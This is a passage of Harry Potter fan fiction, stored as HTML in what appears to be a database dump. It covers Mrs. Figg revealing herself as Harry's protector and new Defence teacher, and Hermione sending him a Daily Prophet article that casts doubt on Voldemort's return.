distinguished.&nbsp; And she&#8217;s been feeding me well, too.&#8221;</p>\n\n<p>&#8220;Oh Sirius,&#8221; she blushed and turned away to the stove to fetch the kettle.</p>\n\n<p>Harry just grinned at his godfather.&nbsp; &#8220;You look great.&#8221;</p>\n\n<p>&#8220;Well, I also worried that I wouldn&#8217;t be able to trust that the Death Eaters wouldn&#8217;t be made aware of my Animagus form now that Pettigrew has reasserted himself in their circle.&nbsp; I simply need to be able to be in human form but not readily recognizable.&#8221;</p>\n\n<p>Harry started to feel like he was going to burst with all his questions.</p>\n\n<p>&#8220;Tell me, what&#8217;s going on?&nbsp; I&#8217;ve been dying to know.&nbsp; I haven&#8217;t heard anything and&#8230;&#8221;</p>\n\n<p>Mrs. Figg poured the tea into the cups and placed some blueberry scones on the table.</p>\n\n<p>&#8220;First of all Harry,&#8221; she began, &#8220;we don&#8217;t know much yet, and we won&#8217;t be able to share all of our information with you.&nbsp; There are certain things we won&#8217;t be able to tell you and that is for your own protection.&nbsp; You should know that the story about Voldemort&#8217;s return has finally hit <i>The Daily Prophet</i>.&nbsp; It was in this morning&#8217;s paper.&#8221;</p>\n\n<p>&#8220;Can I see a copy of it?&#8221; Harry asked urgently.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; she said shaking her head.&nbsp; &#8220;I don&#8217;t get owl post here in the house.&nbsp; I think it is far too risky in this Muggle neighbourhood to have them flying about.&nbsp; Instead I subscribe to hearing <i>The Daily Prophet</i> over the Wizarding Wireless Network.&nbsp; This morning&#8217;s broadcast was particularly nasty in its accusations regarding Headmaster Dumbledore.&nbsp; They seemed to slant it as if he were trying to cover for you and that there wasn&#8217;t any evidence to support the truth about Voldemort having risen.&nbsp; I&#8217;m sure that one of your friends will send you a copy soon.&nbsp; Please bring it over when you get it.&#8221;</p>\n\n<p>&#8220;Was it Rita Skeeter who wrote that piece?&#8221; Harry said with dread.</p>\n\n<p>&#8220;No.&nbsp; One of the bad things about hearing the broadcast of it is that you hear the reporter&#8217;s voices read their articles.&nbsp; I cannot stand that Harpy!&nbsp; No, this was the managing editor Hearst Seldes.&#8221;</p>\n\n<p>Harry looked down at his teacup.&nbsp; He wasn&#8217;t sure what to say and then he just blurted it out.&nbsp;&nbsp; </p>\n\n<p>&#8220;Skeeter&#8217;s an Animagus.&nbsp; A beetle.&nbsp; Hermione captured her the night of the Third Task.&nbsp; She was spying on us in the infirmary.&#8221;</p>\n\n<p>Sirius blanched.&nbsp; &#8220;She was there?&#8221;</p>\n\n<p>&#8220;Yeah, but Hermione had figured it out beforehand and was watching out for her.&nbsp; That&#8217;s how Skeeter had gotten some of those &#8216;scoops&#8217; like when my scar was hurting me and about Hagrid being a half-giant.&nbsp; She had heard or seen us from inside Hogwarts grounds after Dumbledore had banned her.&nbsp; She had been a beetle on the wall.&#8221;</p>\n\n<p>&#8220;Where is she now?&#8221; Sirius asked coldly.</p>\n\n<p>&#8220;I&#8217;m not sure.&nbsp; Hermione threatened Rita Skeeter with exposing her as an unregistered Animagus and having violated the rules of Hogwarts.&nbsp; She told her to keep her pen to herself for a whole year.&nbsp; Hermione planned to let her go when she returned to <st1:city><st1:place>London</st1:place></st1:city>, but I&#8217;m not sure if she did though.&#8221;</p>\n\n<p>&#8220;I need to speak with Dumbledore about this,&#8221; Sirius said as he walked over to the stove.&nbsp; He turned on the fire in the back burner and cast floo powder into the flames and called out &#8220;Albus Dumbledore.&#8221;</p>\n\n<p>Soon the truncated head of Dumbledore appeared in the flames.&nbsp; </p>\n\n<p>&#8220;Albus, are you aware of Rita Skeeter being an Animagus?&#8221;</p>\n\n<p>&#8220;Yes, I have that matter well in hand,&#8221; he said smiling.&nbsp; &#8220;A clever young lady had deduced how that reporter had been breaking my rules and continued to visit our grounds.&nbsp; That will not be a problem in the future.&nbsp; Is there anything else?&#8221;</p>\n\n<p>&#8220;That&#8217;s all.&nbsp; Thank you,&#8221; Sirius said as the headmaster&#8217;s head popped out of the flames.&nbsp; He turned to Harry and sighed, &#8220;I was afraid that she&#8217;d tell about my being there and cause all of you to be arrested for harbouring a fugitive.&nbsp; But I trust that Dumbledore will know how to handle this sticky situation.&#8221;</p>\n\n<p>Mrs. Figg sighed, &#8220;A beetle, huh?&nbsp; That figures.&nbsp; Except I think a cockroach would have been more appropriate.&#8221;&nbsp; She shook her head and then continued, &#8220;Getting back to the matter of your security, Harry.&nbsp; The first thing you need to know is that you cannot visit the Weasleys this summer.&nbsp; It is far too dangerous.&nbsp; You must stay in the care of the Dursleys as there is an ancient charm attached to them and you are safest there when you are not at Hogwarts.&nbsp; I must tell you that I was assigned to your protection after your parents were killed.&nbsp; Your safety is my responsibility.&#8221;</p>\n\n<p>&#8220;Arabella was one of our finest Aurors,&#8221; said Sirius.&nbsp; &#8220;She has incredible talents and knows what she is talking about.&#8221;</p>\n\n<p>&#8220;Why then didn&#8217;t you&#8230;&#8221; Harry began.</p>\n\n<p>&#8220;Let you know about your being a wizard?&#8221;</p>\n\n<p>&#8220;Well&#8230;yeah.&#8221;</p>\n\n<p>&#8220;Because I was only able to see you once or twice a year.&nbsp; I couldn&#8217;t risk making the Dursleys suspect me and my motives, so I was at their mercy.&nbsp; I had tried to establish a close relationship with your aunt and uncle when you were a baby, but&#8230;&#8221; she paused as if searching for the right words, &#8220;they are very <i>difficult</i> people.&#8221;</p>\n\n<p>Harry nodded in agreement.</p>\n\n<p>&#8220;It was hard to only see you so infrequently, so I spent that time trying to make sure you knew who my cats were.&nbsp; They are my sentries and provide surveillance throughout the neighbourhood.&nbsp; I thought that if you recognized them that you might seek comfort with them and tell them your secrets.&#8221;</p>\n\n<p>Harry looked up at her with a puzzled look in his face.</p>\n\n<p>Mrs. Figg went on, &#8220;Search your memory and you will see that there were times when the Dursleys were treating you horribly and you&#8217;d stroke one of my cats and tell them all about your problems.&nbsp; Things soon after became <i>bearable</i>.&nbsp; They might not have improved dramatically, but they were bearable.&#8221;</p>\n\n<p>Harry&#8217;s brow furrowed as he tried to remember.</p>\n\n<p>&#8220;Okay, here&#8217;s one.&nbsp; Remember when you were eight and <st1:place>Dudley</st1:place> locked you in his closet one hot summer day?&nbsp; It was only at dinnertime when your Aunt Petunia wondered why you hadn&#8217;t come to the table that <st1:place>Dudley</st1:place> let you out.&nbsp; That night you climbed a tree and told Mr. Paws what happened.&nbsp; The next day <st1:place>Dudley</st1:place> became upset when he couldn&#8217;t find his key to repeat that torture.&#8221;</p>\n\n<p>Harry slowly nodded.</p>\n\n<p><i>&#8220;Accio!&#8221;</i></p>\n\n<p>A small key chain made of clay with the name <st1:place>Dudley</st1:place> painted on it came flying through the air from down the hallway.&nbsp; There was a single brass key on it.&nbsp; Mrs. Figg handed the key chain to Harry.</p>\n\n<p>&#8220;I wished I could have done more for you.&nbsp; I could only intervene when your safety was at risk.&nbsp; I couldn&#8217;t chance having you suffocate to death in a sweltering closet.&nbsp; I would have liked to have raised you myself, but Dumbledore felt it was safer with me watching over you without being distracted by caring for you, too.&#8221;</p>\n\n<p>Harry&#8217;s eyes began to fill with tears.&nbsp; Mrs. Figg rose from her chair and hugged Harry.&nbsp; She hugged him like a mother or grandmother.&nbsp; Only Mrs. Weasley had given him a hug like that, which made him feel loved and cared for.&nbsp; </p>\n\n<p>A new question began to form in Harry&#8217;s mind.</p>\n\n<p>&#8220;Mrs. Figg, is there a Mr. Figg?&#8221; Harry asked.</p>\n\n<p>She nodded and gave a small smile.&nbsp; &#8220;There was.&nbsp; Robert was a kind and thoughtful man and a wonderful husband,&#8221; then her face darkened.&nbsp; &#8220;He was murdered by Death Eaters a year before your parents were killed.&nbsp; I blame myself for his death as I believe that I was the real target.&nbsp;&nbsp; I changed plans at the last moment and followed a hunch of mine.&nbsp; That meant I wasn&#8217;t there when he was attacked.&#8221;</p>\n\n<p>Harry reached his hand out to her.&nbsp; &#8220;I&#8217;m sorry.&#8221;</p>\n\n<p>Mrs. Figg reached back and patted his hand.&nbsp; &#8220;Thank you.&nbsp; There were many lives that were ruined due to the ruthless actions of Voldemort.&nbsp; I was devastated by the loss of Robert.&nbsp; So much so that it led to my miscarrying what would have been a daughter.&nbsp; So when Dumbledore asked me to oversee your security, it gave me the opportunity to protect a small child and it gave me the chance to have some solitude to grieve in peace.&#8221;</p>\n\n<p>Harry began to wonder how she could have been pregnant fifteen years ago given her advanced age.&nbsp; He watched as she slowly wiped a tear from her eye and then looked straight at Harry with a new determination in her eyes.<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The most important thing for you right now is to prepare yourself for your O.W.L.s.&#8221;</p>\n\n<p>Harry groaned.</p>\n\n<p>&#8220;I know, I know.&nbsp; But you must know that this coming year at Hogwarts will again be fraught with danger for you.&nbsp; It is for your own protection that you become as educated in survival techniques as is possible.&nbsp; Charms, hexes, transfiguration, and so on.&#8221;&nbsp; Then she gave a cryptic smile, &#8220;I thought it might be easier for you to study here than in your room pacing at nights.&nbsp; Your aunt will be pleased because she won&#8217;t have to see you during the day and you can come here study in peace and spend time with your godfather.&#8221;</p>\n\n<p>&#8220;I heard her say something that you would be leaving to visit a sister soon?&#8221; Harry asked as he reached for a second scone.</p>\n\n<p>Mrs. Figg smiled.&nbsp; &#8220;I am going away from here, but not to see any sister.&nbsp; I&#8217;m going to be your new Defence Against the Dark Arts instructor.&nbsp; You can start calling me Professor Figg.&#8221;</p>\n\n<p>Harry&#8217;s eyes grew wide at that thought and then he smiled.</p>\n\n<p>&#8220;Sirius will be staying here and standing guard here as my &#8216;nephew&#8217; who will be house sitting for me.&#8221;&nbsp; She then stood up from the table, &#8220;If you don&#8217;t mind, I&#8217;m feeling positively ancient right now.&nbsp; I think I&#8217;ll resume my true form and besides, I think you ought to get used to seeing me the way I&#8217;ll appear during the school year so it won&#8217;t be too much of a shock for you.&#8221;</p>\n\n<p>She reached into her pocket and drew out a small bottle with a clear potion inside and placed three drops of the liquid under her tongue.&nbsp; Harry watched as she transformed in the matter of a few seconds into a woman that Harry guessed was in her forties.&nbsp; She took off her glasses and released a hairpin that allowed her hair to fall down past her waist.&nbsp; She straightened her back and shoulders and seemed to grow at least two inches taller.&nbsp; </p>\n\n<p>&#8220;Ahhhh, that&#8217;s much better.&#8221;&nbsp; </p>\n\n<p>Harry was amazed to see how beautiful she was.&nbsp; Sirius also seemed to be captivated by her beauty.&nbsp; </p>\n\n<p>&#8220;Yesterday Sirius and I went to Diagon Alley.&nbsp; It was the first time in many years that I had gone there.&nbsp; We needed to get him a new wand along with other supplies for him to stay here and for me to teach my classes.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did Mr. Ollivander&#8230;&#8221; Harry wasn&#8217;t sure what to ask.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius smiled and shook his head.&nbsp; &#8220;We didn&#8217;t want to risk that.&nbsp; Mr. Ollivander is one of the most perceptive wizards around.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dumbledore arranged to have Hagrid help Mr. Ollivander to procure the hair from a new unicorn in the <st1:place><st1:placename>Forbidden</st1:placename>\n\n<st1:placetype>Forest</st1:placetype></st1:place> along with getting some wood for the wands.&nbsp; Mr. Ollivander&#8217;s apprentice is shrewd, but he had never met Sirius before.&nbsp; We were able to pass him off as my boyfriend Joseph O&#8217;Brien from <st1:country-region><st1:place>Australia</st1:place></st1:country-region>.&#8221;&nbsp; She then waved her hand in the air and mimicked herself, &#8220;I have been telling him that he <i>must</i> get a wand from Ollivander&#8217;s as they are simply the best.&nbsp; I promised to buy him a new one as a present.&#8221;</p>\n\n<p>&#8220;It worked?&#8221; Harry asked.</p>\n\n<p>&#8220;Like a charm,&#8221; Sirius replied putting on a thick Australian accent.</p>\n\n<p>&#8220;That ruse worked throughout Diagon Alley.&nbsp; No one got to ask him very much as I would monopolize any conversation and simply take him by the arm and lead him away from any store before too long.&nbsp; People were glad to see me once again &#8211; laughing and smiling.&nbsp; I doubt anyone recognized that the man on my arm was someone they hadn&#8217;t seen in fourteen years and that now appears twenty years older than his true form.&#8221;&nbsp; </p>\n\n<p>Professor Figg then became deadly serious, &#8220;Harry, I must implore you.&nbsp; No one is to know that you have known me outside of Hogwarts.&nbsp; Part of that is so no one thinks that I&#8217;m playing favourites and more importantly it has to do with your security and now your godfather&#8217;s security.&nbsp; He will be here and I need not remind you that he is still wanted by the Ministry of Magic.&nbsp; If anyone suspects that we knew each other before Hogwarts, then Sirius may wind up back in Azkaban or worse.&#8221;</p>\n\n<p>Sirius nodded, &#8220;That includes Ron and Hermione.&nbsp; You cannot tell them.&#8221;</p>\n\n<p>Harry understood and nodded.&nbsp; &#8220;Okay.&nbsp; I won&#8217;t do anything that might endanger you.&nbsp; I understand how dangerous it&#8217;s been for you these last two years.&nbsp; Living in this house has got to be like <st1:place>Paradise</st1:place> for you compared to living in a cave and eating rats.&#8221;</p>\n\n<p>Professor Figg shook her head and shuddered.</p>\n\n<p>&#8220;Why yes, it <i>is</i> much nicer staying here,&#8221; Sirius replied.</p>\n\n<p>&#8220;Speaking of school,&#8221; said Professor Figg.&nbsp; &#8220;We need to start discussing your lessons this summer.&nbsp; We need to take full advantage of this time before school starts and try to bring you up to speed as best as we can.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; asked Harry.</p>\n\n<p>&#8220;I mean that we need to prepare you for the worst and give you the best defensive skills possible so that you can use them to survive any attacks.&#8221;</p>\n\n<p>Harry gulped.&nbsp; Of course he was still at risk from Voldemort.&nbsp; It was just that at times he wished he could be like any other teenager and not have to worry about an evil wizard who wanted him dead.</p>\n\n<p>&#8220;Why does he want to kill me so much?&#8221;</p>\n\n<p>Professor Figg gave a rueful smile, &#8220;Right now Harry you represent the only weapon we have against Fear.&nbsp; You represent Hope.&nbsp; Voldemort&#8217;s power lives and breeds in Fear and shrinks in the face of Hope.&nbsp; Because of that and because Voldemort has been unable to vanquish you in the three times he has met with you &#8211; he will be desperate and that means he&#8217;ll want to see you dead anyway possible.&#8221;</p>\n\n<p>Harry thought about the three times Professor Figg mentioned.&nbsp; The night his parents were killed, the end of his first year when Harry stopped Quirrell and Voldemort from getting the Philosopher&#8217;s Stone and the night in the graveyard.&nbsp; Professor Figg didn&#8217;t know about Harry&#8217;s encounter with the ghost of Tom Riddle in the Chamber of Secrets.&nbsp; So really, it was four times&#8230;</p>\n\n<p>&#8220;The night he duelled with you in the graveyard, do you realize what else he had planned for that night?&#8221; she asked.</p>\n\n<p>Harry started to feel dread in the pit of his stomach.&nbsp; He wasn&#8217;t sure that he wanted to hear what she had to say.&nbsp; He shook his head slowly.</p>\n\n<p>&#8220;After killing you, we think that he had planned to have his Death Eaters join him and use the Portkey and be transported to Hogwarts.&nbsp; They would have then attacked as many people as possible.&nbsp; It would have been chaos and everyone in the Wizarding World would be utterly terrified.&nbsp; More than they were when he had been at the height of his powers.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The enormity of what Professor Figg had said weighed heavily on Harry.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You saved Hogwarts,&#8221; Sirius said simply.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry felt dazed.&nbsp; </p>\n\n<p>&#8220;So what do we do now?&#8221; he asked.</p>\n\n<p>Professor Figg gave a bittersweet smile, &#8220;Well, our mission is to protect you. &nbsp;Part of that is to make sure you are as aware as possible of every type of attack or deception to expect.&nbsp; You&#8217;ve seen how Polyjuice Potion can transform someone.&#8221;</p>\n\n<p>Harry thought of not only Bartemius Crouch, Jr. who had masqueraded as &#8220;Mad-Eye&#8221; Moody last year, but his own experience of becoming Goyle in his second year.&nbsp; He nodded towards Professor Figg.</p>\n\n<p>&#8220;Harry you need to be very cautious &#8211; almost to the point of being paranoid.&nbsp; You need to collect all of your loose hair and your nail clippings to be make sure that no one can get them.&nbsp; That means every morning you&#8217;ll need to use your wand on your bed linens, comb, brush and bathroom drain to collect all your lost hair and then destroy it.&#8221;</p>\n\n<p>Harry blinked and his eyes grew wide at that.</p>\n\n<p>&#8220;But only Gryffindors would be able to&#8230;&#8221;</p>\n\n<p>Professor Figg smiled again.&nbsp; &#8220;Do you think it&#8217;s impossible for Voldemort to enlist Gryffindors or to get someone to impersonate a Gryffindor to get at you?&#8221;</p>\n\n<p>He shook his head.</p>\n\n<p>&#8220;We&#8217;ll also have to tell your closest friends about protecting their hair that closely.&nbsp; I&#8217;ll be talking about this in my classes, but probably not emphasize it as strongly with everyone as I am with you.&nbsp; I daresay that by the end of the year we may see many of the students sporting long hair styles &#8211; similar to our beloved headmaster.&#8221;</p>\n\n<p>Harry thought of Bill Weasley&#8217;s long hair being held in a ponytail and then understood why he hadn&#8217;t had a hair cut in years.&nbsp; Bill&#8217;s working in <st1:country-region><st1:place>Egypt</st1:place></st1:country-region> for Gringotts as a curse breaker would know that his hair could be used for magic against him, if he wasn&#8217;t careful.</p>\n\n<p>Professor Figg looked appraisingly at Harry and placed her hand under his chin.&nbsp; She turned his head from side to side.</p>\n\n<p>&#8220;I reckon you&#8217;ll need to start shaving soon.&nbsp; You&#8217;ll have to save that hair as well.&#8221;&nbsp; She gave a small smile, &#8220;I wouldn&#8217;t recommend you trying to avoid shaving.&nbsp; It takes several years for facial hair to grow in evenly and unless you want to have mangy peach fuzz all over your face&#8230;&#8221;</p>\n\n<p>Sirius chimed in, &#8220;And believe me, girls don&#8217;t go for the mangy look.&#8221;</p>\n\n<p>Harry blushed and Sirius roared with laughter, which made Harry even more embarrassed.&nbsp; Sirius then looked at Harry carefully.</p>\n\n<p>&#8220;You haven&#8217;t been holding out on me, have you?&nbsp; Do you have a girlfriend?&#8221;</p>\n\n<p>Harry quickly shook his head and started staring at the floor.&nbsp; He wanted desperately to have the topic changed.&nbsp; </p>\n\n<p>Sirius then quietly asked, &#8220;Harry are you interested in <i>anyone</i> at school?&#8221;</p>\n\n<p>Harry thought of Cho and his heart ached.&nbsp; &#8220;Maybe,&#8221; he croaked.</p>\n\n<p>&#8220;Harry, it&#8217;s not a crime for you to care for a girl.&nbsp; It&#8217;s normal and frankly it&#8217;s healthy to want to love someone and to be loved back.&nbsp; I&#8217;d be surprised if you didn&#8217;t take a shine to someone.&nbsp; However, what we have to worry about is having anyone you care about becoming targets for Voldemort.&#8221;</p>\n\n<p>Harry sighed heavily.&nbsp; He thought it was incredibly difficult to summon the courage to ask Cho to the Yule Ball.&nbsp; Now Sirius and Professor Figg were telling him that he needed to tell her to collect her loose hair because Death Eaters might target her.&nbsp; And it was all because he thought she was cute.&nbsp; That&#8217;ll be oh so much easier to talk to her about, Harry thought.</p>\n\n<p>Professor Figg then cleared her throat, &#8220;Harry, you&#8217;ll also have to come up with a secret signal for your closest friends.&#8221;</p>\n\n<p>&#8220;Signal?&nbsp; What do you mean?&#8221;</p>\n\n<p>&#8220;Something simple that won&#8217;t be noticed, but that will alert you that Ron truly is Ron and Hermione isn&#8217;t someone disguised as Hermione.&nbsp; When you see them on the Hogwarts Express you&#8217;ll need to talk with them privately &#8211; determine first that they truly are who they appear to be.&nbsp; Ask them to tell you something only your true friends would know.&nbsp; Then figure out a signal.&nbsp; It needs to be something small that no one else will notice.&nbsp; Like maybe a sniff or licking their lips and saying &#8216;umm,&#8217; before anything else.&nbsp; Just so that if you saw Hermione and she didn&#8217;t lick her lips at the first sight you will immediately become suspicious.&nbsp; And I think we need to have signals between us.&nbsp; How about me pulling on an earlobe and start a sentence with &#8216;so.&#8217;&nbsp; You can push your glasses up and say, &#8216;Umm.&#8217;&nbsp; We only need to do this when we speak together privately, so don&#8217;t worry about this in class or when you see me in the hall.&#8221;</p>\n\n<p>Harry was shaking his head ever so slightly.&nbsp; Why couldn&#8217;t he just be a normal kid?</p>\n\n<p>Sirius placed his hand on Harry&#8217;s shoulder.</p>\n\n<p>&#8220;I know it&#8217;s tough on you.&nbsp; But know that we&#8217;re here for you now and we&#8217;ll help you manage this.&nbsp; You&#8217;ve survived so much already, you just have to stay strong.&#8221;</p>\n\n<p>Harry nodded and was glad that Sirius was here.&nbsp; It wasn&#8217;t as good as leaving the Dursleys forever, but the thought of being with his godfather during the daytime over the summer holidays seemed like Heaven to him.&nbsp;&nbsp; </p>\n\n<p>&#8220;Professor Figg, do you have anything else I could eat?&nbsp; I&#8217;m still hungry.&nbsp; <st1:place>Dudley</st1:place>&#8217;s been put on this strict diet and my Aunt Petunia thinks everyone should have to eat the same paltry amount.&#8221;</p>\n\n<p>Professor Figg shook her head and started muttering under her breath.&nbsp; &#8220;They brought this all upon themselves in how they raised that insufferable, bullying git.&nbsp; I can&#8217;t wait until the day we can all leave this neighbourhood and then I&#8217;ll tell Petunia and <st1:city><st1:place>Vernon</st1:place></st1:city> exactly what I think of them.&#8221;&nbsp; She took a deep breath and then turned to Harry.&nbsp; &#8220;What would you like for lunch?&nbsp; A hamburger?&nbsp; Pizza?&#8221;</p>\n\n<p>&#8220;Yeah, whatever is easiest.&nbsp; I&#8217;m just really hungry and don&#8217;t want to be starved again this summer,&#8221; said Harry. </p>\n\n<p>&#8220;You won&#8217;t be.&nbsp; I&#8217;ll work it out that you can stay here for dinners also.&nbsp; Petunia should be so happy, she won&#8217;t have to make any meals for you or see you during the day.&#8221;</p>\n\n<p>&#8220;I wish I could have come before during the summer,&#8221; he said wistfully.</p>\n\n<p>&#8220;Me, too,&#8221; Professor Figg agreed.&nbsp; &#8220;But Dumbledore hadn&#8217;t given the permission before this.&nbsp; Tomorrow, you should bring your wand with you.&nbsp; We&#8217;ll be starting in lessons for you.&#8221;</p>\n\n<p>&#8220;But I can&#8217;t do magic outside of school.&nbsp; I&#8217;ll be expelled,&#8221; said Harry worriedly.</p>\n\n<p>&#8220;Harry, I&#8217;ll let you in on a little secret.&nbsp; The Ministry&#8217;s monitoring system is not omnipotent.&nbsp; It&#8217;s site specific and even then it can&#8217;t distinguish who is inside doing what.&nbsp; Tell me that you haven&#8217;t seen anyone on the Hogwarts Express doing magic.&#8221;</p>\n\n<p>Harry nodded sheepishly as he thought of the hexes that were put on Malfoy, Crabbe and Goyle a few days ago.&nbsp; That was certainly magic outside of school by underage wizards and not one of his friends thought twice about it when they did it.&nbsp; </p>\n\n<p>&#8220;See?&nbsp; Site specific.&nbsp; And the monitor on your aunt and uncle&#8217;s house is not very good either.&nbsp; It couldn&#8217;t tell the difference between a spell you performed and one done by a house-elf.&nbsp; And I must tell you that the Ministry does not have any monitors on this house.&nbsp; I have too many sentries watching my house that would alert me.&nbsp; I&#8217;ve also got charms and enchantments around my house.&nbsp; So don&#8217;t worry about performing magic here.&#8221;&nbsp; </p>\n\n<p>Professor Figg stood and started to fix lunch by directing her wand to the refrigerator to bring out hamburger and make it into patties.&nbsp; It reminded Harry of watching Mrs. Weasley cook dinner with utensils and food flying through the air.&nbsp; Soon there was the mouth-watering smell of hamburger sizzling on a frying pan.</p>\n\n<p>&#8220;I will also tell you that I vehemently disagree with that decree regarding restricting magic by underage wizards.&nbsp; I think it&#8217;s ludicrous to think that parents and other elders have nothing of value to teach their children.&nbsp; Only the faculty during the school year?&nbsp; I&#8217;m sorry, but that&#8217;s too elitist for words.&nbsp; I fully understand not performing magic in front of Muggles, but a complete ban on magic outside of school?&nbsp; That&#8217;s just plain wrong in my opinion.&#8221;</p>\n\n<p>Harry grinned.&nbsp; He was beginning to really like Professor Figg and wished that she had been this forthcoming with him when he was younger.</p>\n\n<p>&#8220;Harry,&#8221; Sirius piped in, &#8220;We bought your textbooks and school supplies for next year when we were at Diagon Alley.&#8221;</p>\n\n<p>&#8220;Why did you do that?&#8221;</p>\n\n<p>&#8220;Because there are far too many people out there in the Wizarding World that could wish harm to you,&#8221; continued Sirius.&nbsp; &#8220;I know you like to go there each year and meet up with Ron and Hermione, but it&#8217;s far too risky right now.&#8221;</p>\n\n<p>&#8220;And as the person in charge of your security &#8211; I must say it is not worth risking your life over,&#8221; Professor Figg said solemnly.</p>\n\n<p>&#8220;And Hogsmeade?&nbsp; Will I be able to go there?&#8221; Harry asked.</p>\n\n<p>&#8220;Possibly, but I would have to accompany you.&nbsp; Act as your own personal Auror bodyguard,&#8221; she replied.</p>\n\n<p>&#8220;Then why can&#8217;t we go to Diagon Alley together?&#8221;</p>\n\n<p>&#8220;Because you won&#8217;t have met each other until <i>after</i> school has started &#8211; remember?&nbsp; As far as everyone else is concerned, we have no history together.&nbsp; Otherwise, Sirius will be endangered.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Harry nodded.&nbsp; &#8220;But what do I tell Ron and Hermione?&nbsp; They&#8217;ll want to meet together to go shopping.&#8221;</p>\n\n<p>Professor Figg placed the cooked hamburgers on the table and waved catsup, mustard and pickles out of the refrigerator.&nbsp; </p>\n\n<p>&#8220;You can tell them that Dumbledore was afraid for your safety and found someone to get all of your school supplies and that you&#8217;re already using your new books.&nbsp; No need to tell them the details &#8211; the disappointment of not being able to go shopping with you will be enough.&#8221;</p>\n\n<p>Harry started chewing on his hamburger and realized that his disappointment about not being able to have some fun with his friends paled in comparison to the real threats that the Wizarding World faced due to Voldemort&#8217;s return.&nbsp; This was just a small price that had to be paid. </p>\n\n<p>Chapter Three is entitled:&nbsp; The Disinformation Campaign Begins.&nbsp; You&#8217;ll see how the <i>Daily Prophet</i> attacks and attempts to discredit both Harry Potter and Dumbledore.&nbsp; </p> '),
	(260, 3, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s Note:&nbsp; This was previously published as &#8220;Sirius Black&#8217;s Secret Love&#8221; on Schnoogle.&nbsp; I am in the process of tweaking and refining things just a bit and will upload as I finish each chapter. I&#8217;d like to thank Cara Hicks and Ama for being fabulous beta readers.</p>\n\n<p>Rating: R - for adult themes and sexual intimacy</p>\n\n<p>Chapter Three - The Disinformation Campaign Begins</p>\n\n<p>That night as Harry was getting ready for bed he saw the approaching form of an owl coming towards his bedroom window.&nbsp; He opened the sash and saw a large tawny owl come and land on his windowsill.&nbsp; He took the parchment scroll that was attached to his leg and saw that it was from Hermione.&nbsp; As he scanned the letter he realized that she had been worried about the security of Owl post and wrote cryptically so that it wouldn&#8217;t be understood if it was intercepted.</p>\n\n<p><i>Harry,</i></p>\n\n<p><i>I didn&#8217;t follow through with what I had planned on doing in London.&nbsp; I was all set to, but a small voice in the back of my head said, &#8220;Stop.&nbsp; Let Dumbledore decide.&#8221;&nbsp; After all, it dealt with rule breaking at Hogwarts, he should be the one to determine how best to deal with the culprit.&nbsp; I sent him an owl about the matter and he showed up the very next day and took the problem in hand.&nbsp; He merely said, &#8220;Well done, Miss Granger,&#8221; then left.</i></p>\n\n<p><i>I had my parents stop at Diagon Alley before we went home and we bought this owl.&nbsp; I decided that I really needed a post owl of my own.&nbsp; Say hello to Athena.</i></p>\n\n<p>&#8220;Hello, Athena.&#8221;</p>\n\n<p>The owl hooted softly to him.&nbsp; Hedwig looked up from her cage and eyed the other owl suspiciously.</p>\n\n<p>&#8220;Hedwig, this is Hermione&#8217;s new owl, Athena.&#8221;</p>\n\n<p>Hedwig then seemed to nod in approval.&nbsp; Harry turned to continue reading.</p>\n\n<p><i>I&#8217;m attaching a copy of today&#8217;s Daily Prophet.&nbsp; I thought you should see this.&nbsp; Please Harry, try not to worry too much about this or about things that you have no control over.&nbsp; Use this time to study for the O.W.L.s.&nbsp; I hope the Dursleys are treating you better.</i></p>\n\n<p><i>With love,</i></p>\n\n<p><i>Hermione</i></p>\n\n<p>Harry gave some owl treats to Athena and Hedwig and then sat down on his bed to read the newspaper clipping.</p>\n\n<p><b>Has the Dark Lord Returned?</b></p>\n\n<p>Ministry of Magic dismisses rumours</p>\n\n<i></i><p><i>By Hearst Seldes, Managing Editor</i></p>\n\n<p><b>Yesterday the offices of the Daily Prophet received a deluge of owls from concerned parents throughout the British Isles.&nbsp; They are worried about the possibility that You-Know-Who has returned.&nbsp; </b></p>\n\n<p><b>Three days ago at the annual leaving feast at Hogwarts School of Witchcraft and Wizardry, the embattled headmaster Albus Dumbledore startled everyone with the announcement that You-Know-Who had not only risen but had also murdered Hogwarts sixth year student and Triwizard champion, Cedric Diggory.</b></p>\n\n<p><b>The Daily Prophet had previously received unconfirmed reports of the death of one of the Triwizard champions, but now it can be stated that Cedric Diggory was killed during the third task of the tournament on June 24<sup>th</sup>.</b></p>\n\n<p><b>It seems that during the third task of the tournament, two of the champions, Diggory and Harry Potter (the boy who survived an attack by You-Know-Who when he was just a baby) disappeared for a period of about half an hour.&nbsp; </b></p>\n\n<p><b>When they suddenly re-appeared outside the maze, Potter was bleeding and clutching both the Triwizard cup and Diggory&#8217;s corpse.</b></p>\n\n<p><b>We have been unable to determine where Potter and Diggory were during this lost period of time.</b></p>\n\n<p><b>It is commonly known that one cannot Apparate or Disapparate on the grounds of Hogwarts, so any claim that Potter and Diggory left Hogwarts, saw You-Know-Who rise again and then reappear at Hogwarts grounds should be treated with great suspicion said a source from the Ministry of Magic.</b></p>\n\n<p><b>It was also rumoured that Harry Potter 